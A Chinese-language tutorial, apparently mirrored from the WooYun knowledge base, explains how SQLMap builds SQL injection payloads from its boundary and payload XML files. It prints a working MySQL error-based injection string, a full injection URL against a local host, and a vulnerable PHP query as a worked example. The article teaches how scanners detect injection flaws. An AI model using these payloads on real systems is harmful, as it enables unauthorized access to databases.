SQLMap的前世今生(Part1)

wyzsk發表於2020-08-19
作者: 獵豹科學院 · 2015/09/11 15:31

0x00 前言


談到SQL隱碼攻擊,那麼第一時間就會想到神器SQLMAP,SQLMap是一款用來檢測與利用的SQL隱碼攻擊開源工具。那麼SQLMap在掃描SQL的邏輯到底是怎樣實現的呢,接下來就探討下SQLMap的掃描邏輯,透過了解SQLMap的掃描邏輯打造一款屬於自己的SQL掃描工具。

0x01 SQL掃描規則:


要了解SQLMap的掃描規則,也就是Payload,那麼到底Payload是哪裡來,是根據什麼邏輯生成的呢,接下來必須先了解幾個檔案的,SQLMap的掃描規則檔案位於\xml資料夾中,其中boundaries.xml與Payloads資料夾則為SQLMap的掃描規則所在,\xml\payloads中的6個檔案,裡面的6個檔案分別是存放著不同注入手法的PAYLOAD。

那麼就必須瞭解兩個格式,一是boundary檔案,一是payloads。

例子:

#!html
<boundary>
    <level>1</level>
    <clause>1</clause>
    <where>1,2</where>
    <ptype>1</ptype>
    <prefix>'</prefix>
    <suffix> AND '[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
  1. clause與where屬性

    這兩個元素的作用是限制boundary所使用的範圍,可以理解成當且僅當某個boundary元素的where節點的值包含test元素的子節點,clause節點的值包含test元素的子節點的時候,該boundary才能和當前的test匹配,從而進一步生成payload。

  2. prefix與suffix屬性

要理解這兩個屬性的作用,那麼就先利用一段程式碼去講解。

#!javascript
function getattachtablebypid($pid) {
    $tableid = DB::result_first("SELECT tableid FROM ".DB::table('forum_attachment')." WHERE pid='$pid' LIMIT 1");
    return 'forum_attachment_'.($tableid >= 0 && $tableid < 10 ? intval($tableid) : 'unused');
}

透過程式碼我們可以知道pid參與了SQL語句的拼接,那麼如果我們輸入的pid為' AND 'test' = 'test呢,那麼最終拼接起來的SQL語句應該為:

#!sql
SELECT tableid FROM ".DB::table('forum_attachment')." WHERE pid='' AND 'test' = 'test' LIMIT 1

所以如果我們輸入的是' AND 'test' = 'test,那麼最終拼接起來的SQL語句同樣是合法的。那麼我們就可以把所測試的Payload放到prefix與suffix中間,使之最終的SQL合法,從而進行注入測試,所以透過了解,prefix與suffix的作用就是為了截斷SQL的語句,從而讓最終的Payload合法。

至此boundary檔案的作用已經講解完了,接下來就是payload的講解了。

#!html
<test>
    <title>MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
    <stype>2</stype>
    <level>1</level>
    <risk>1</risk>
    <clause>1,2,3</clause>
    <where>1</where>
    <vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</vector>
    <request><!-- These work as good as ELT(), but are longer<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload><payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>-->
    <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>
    </request>
    <response>
        <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
    </response>
    <details>
        <dbms>MySQL</dbms>
        <dbms_version>&gt;= 5.0</dbms_version>
    </details>
</test>

1 title屬性

title屬性為當前測試Payload的標題,透過標題就可以瞭解當前的注入手法與測試的資料庫型別。

2 stype屬性

這一個屬性標記著當前的注入手法型別,1為布林型別盲注,2為報錯注入。

3 level屬性

這個屬性是每個test都有的,他是作用是是限定在SQL測試中處於哪個深度,簡單的來說就是當你在使用SQLMAP進行SQL隱碼攻擊測試的時候,需要指定掃描的level,預設是1,最大為5,當level約高是,所執行的test越多,如果你是指定了level5進行注入測試,那麼估計執行的測試手法會將超過1000個。

4 clause與where屬性

test中的clause與where屬性與boundary中的clause與where屬性功能是相同的。

5 payload屬性

這一屬性既是將要進行測試的SQL語句,也是SQLMap掃描邏輯的關鍵,其中的[RANDNUM],[DELIMITER_START],[DELIMITER_STOP]分別代表著隨機數值與字元。當SQLMap掃描時會把對應的隨機數替換掉,然後再與boundary的字首與字尾拼接起來,最終成為測試的Payload。

6 details屬性

其子節點會一般有兩個,其dbms子節所代表的是當前Payload所適用的資料庫型別,當前例子中的值為MySQL,則表示其Payload適用的資料庫為MySQL,其dbms_version子節所代表的適用的資料庫版本。

7 response屬性

這一屬性下的子節點標記著當前測試的Payload測試手法。

    grep        :報錯注入
    comparison  :布林型別忙注入
    time        :延時注入
    char        :聯合查詢注入

SQLMAP當中的checkSqlInjection函式即是用這一屬性作為判斷依據來進入不同的處理分支。而且其中response屬性中的值則為其SQL隱碼攻擊判斷依據,就如當前的例子中,grep中的值為[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP],SQLMap會將[DELIMITER_START]與[DELIMITER_STOP]替換成Payload中所對應替換的值,然後利用所得到的對返回的頁面資訊進行正則匹配,如果存在在判斷為當前存在SQL隱碼攻擊漏洞。

其中要注意的是,Payload中的字串會根據當前Payload所適用的資料庫型別對字串進行處理,其處理的程式碼位於\plugins\dbms下對應資料庫資料夾中的syntax.py指令碼中。

enter image description here

所以最終的payload是根據test的payload子節點和boundary的prefix(字首)、suffix(字尾)子節點的值組合而成的,即:最終的payload = url引數 + boundary.prefix+test.payload+boundary.suffix

0x02 例項


接下來以報錯注入來實際講解下Payload與boundary的使用。

上例子中的boundary元素中的where節點的值為1,2,含有test元素的where節點的值(1),並且,boundary元素中的clause節點的值為1,含有test元素的where節點的值(1),因此,該boundary和test元素以匹配。test元素的payload的值為:

#!sql
AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

之前已經介紹了最終的Payload是如何的一個格式,所以最後將其中的[RANDNUM]、[DELIMITER_START]、[DELIMITER_STOP]替換掉與轉義之後。

則生成的payload類似如下:

#!sql
[RANDNUM]           = 2214
[DELIMITER_START]   = ~!(轉義後則為0x7e21)
[DELIMITER_STOP]    = !~(轉義後則為0x217e)
Payload: ' AND (SELECT 2214 FROM(SELECT COUNT(*),CONCAT(0x7e21,(SELECT (CASE WHEN (2214=2214) THEN 1 ELSE 0 END)),0x217e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'pujM'='pujM

如果http://127.0.0.1/search-result.php?keyword=&ad_id=3存在注入的話,那麼執行的時候就會報如下錯誤:

Duplicate entry '~!1!~1' for key 'group_key'

根據之前的講解,那麼最終於測試的URL如下

#!sql
http://127.0.0.1/search-result.php?keyword=&ad_id=' AND (SELECT 2214 FROM(SELECT COUNT(*),CONCAT(0x7e21,(SELECT (ELT(2214=2214,1))),0x217e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YmRM'='YmRM

如下為返回的頁面資訊

enter image description here

後根據grep中的正規來匹配當前頁面。

#!sql
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

而使用正則:~!(?P<result>.*?)!~來匹配Duplicate entry '~!1!~1' for key 'group_key' 的結果為1,根據匹配的結果可以得出當前的頁面確實存在著SQL隱碼攻擊。

0x03 總結


透過SQLMap的掃描邏輯,我們可以瞭解到SQL隱碼攻擊的常規手法與實現,熟悉SQLMap的配置檔案之後,自己就可以根據實際的情況對Payload與boundary進行修改,透過增加Payload與boundary來增強SQLMap的掃描規則,也可以利用其掃描規則來打造一款自己的SQL掃描工具。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章